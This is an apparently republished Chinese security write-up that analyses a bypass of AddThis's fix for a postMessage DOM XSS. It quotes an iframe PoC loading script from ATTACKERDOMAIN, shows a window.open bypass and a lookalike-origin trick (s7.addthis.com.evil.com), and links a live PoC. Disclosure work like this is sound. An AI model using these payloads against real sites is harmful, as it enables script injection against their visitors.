作者:zhchbin

背景

說明:這個漏洞是 https://labs.detectify.com/2016/12/15/postmessage-xss-on-a-million-sites/ 修復的繞過,目前已經報告給AddThis并得到修復。

AddThis是由多姆·沃納伯格(Dom Vonarburg)創立并由Clearspring公司擁有的一個社會性書簽服務。它可以與網站進行整合,訪客即可用它將網站上的某些內容通過其他網絡服務收藏或分享,諸如Facebook、MySpace、Google書簽、Twitter等 From https://zh.wikipedia.org/wiki/AddThis

使用的例子有:

分析

使用這款插件,需要在網頁上加入類似以下的代碼

<!-- Go to www.addthis.com/dashboard to customize your tools -->
<script src="//s7.addthis.com/js/300/addthis_widget.js#pubid=ra-538ceb912f1cca19" async="async"></script>

當插件加載完成后,就會監聽message事件。

看完前面提到的那篇文章之后,我們可以知道在這個事件處理函數中,如果message事件處理函數接收到一個 合法來源 的消息,消息內容如下:at-share-bookmarklet://example.com/xss.js時,就會動態在頁面中插入指定的JS腳本。之前的漏洞是在這里根本沒有檢查消息的來源就直接加載執行導致了DOM XSS,原先的PoC:

<iframe id="frame" src="https://targetpage/using_addthis"></iframe>

<script>
document.getElementById('frame').contentWindow.postMessage('at-share-bookmarklet://ATTACKERDOMAIN/xss.js', '*');
</script>

AddThis對這個漏洞進行的修復如下: 1. 添加檢查當前窗口是不是被嵌套在:iframe, frame等標簽里,如果是,則不監聽message事件。 2. 檢查來源

修復后的代碼如下:

, c = window.parent === window;
...
c && u(window, "message", function(e) {
  if (e) {
      var t = _atr.substring(0, _atr.length - 1)
        , n = e.origin.indexOf(t) === "https:".length || e.origin.indexOf(t) === "http:".length || /^https?:\/\/(localhost:\d+|localhost$)/.test(e.origin)
        , o = "string" == typeof e.data;
      if (o && n) {
          var a = e.data.match(/at\-share\-bookmarklet\:(.+?)$/) || []
            , i = a[1];
          if (i) {
              try {
                  _ate.menu.close()
              } catch (s) {}
              r(i)
          }
      }
  }
})
  1. 其中_attr的值為//s7.addthis.com/,那么t的值就是//s7.addthis.com
  2. e.origin是調用了postMessage這個API的來源
  3. 什么時候o && n的值會是真呢?例如站點:http://s7.addthis.com/向目標站點發送消息的時候

但這個修復真的沒有問題了嗎?在使用postMessage進行跨域通信的時候,有以下幾種場景:

  1. 父窗口與iframe,frame等標簽里的子網頁進行通信,即上面那個PoC
  2. 使用window.open打開一個新的窗口
  var win = window.open("http://target.com/index.html");
  win.postMessage("this is a message", "*");

http://target.com/index.html這個頁面就可以監聽message事件獲取到以上的消息。

也就是說,對于一個安裝了這個插件的目標站點,我們依舊可以通過方法2發送一個消息給他。另外,這里的域名檢查也不完善,簡單的說,只要是s7.addthis.com開頭的域名都是合法的,如s7.addthis.com.evil.com

> e.origin = 'http://s7.addthis.com.evil.com'
> e.origin.indexOf(t) === "http:".length
< true

PoC

你現在在看的這個頁面就加載了有漏洞的那個AddThis腳本,我部署了一個PoC,來XSS當前頁面,可以實際感受一下: http://s7.addthis.com.poc.akrxd.net/addthis_poc/poc.html

<script type="text/javascript" src="https://cdn.rawgit.com/zhchbin/zhchbin.github.io/source/js/addthis_widget.js"></script>

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/157/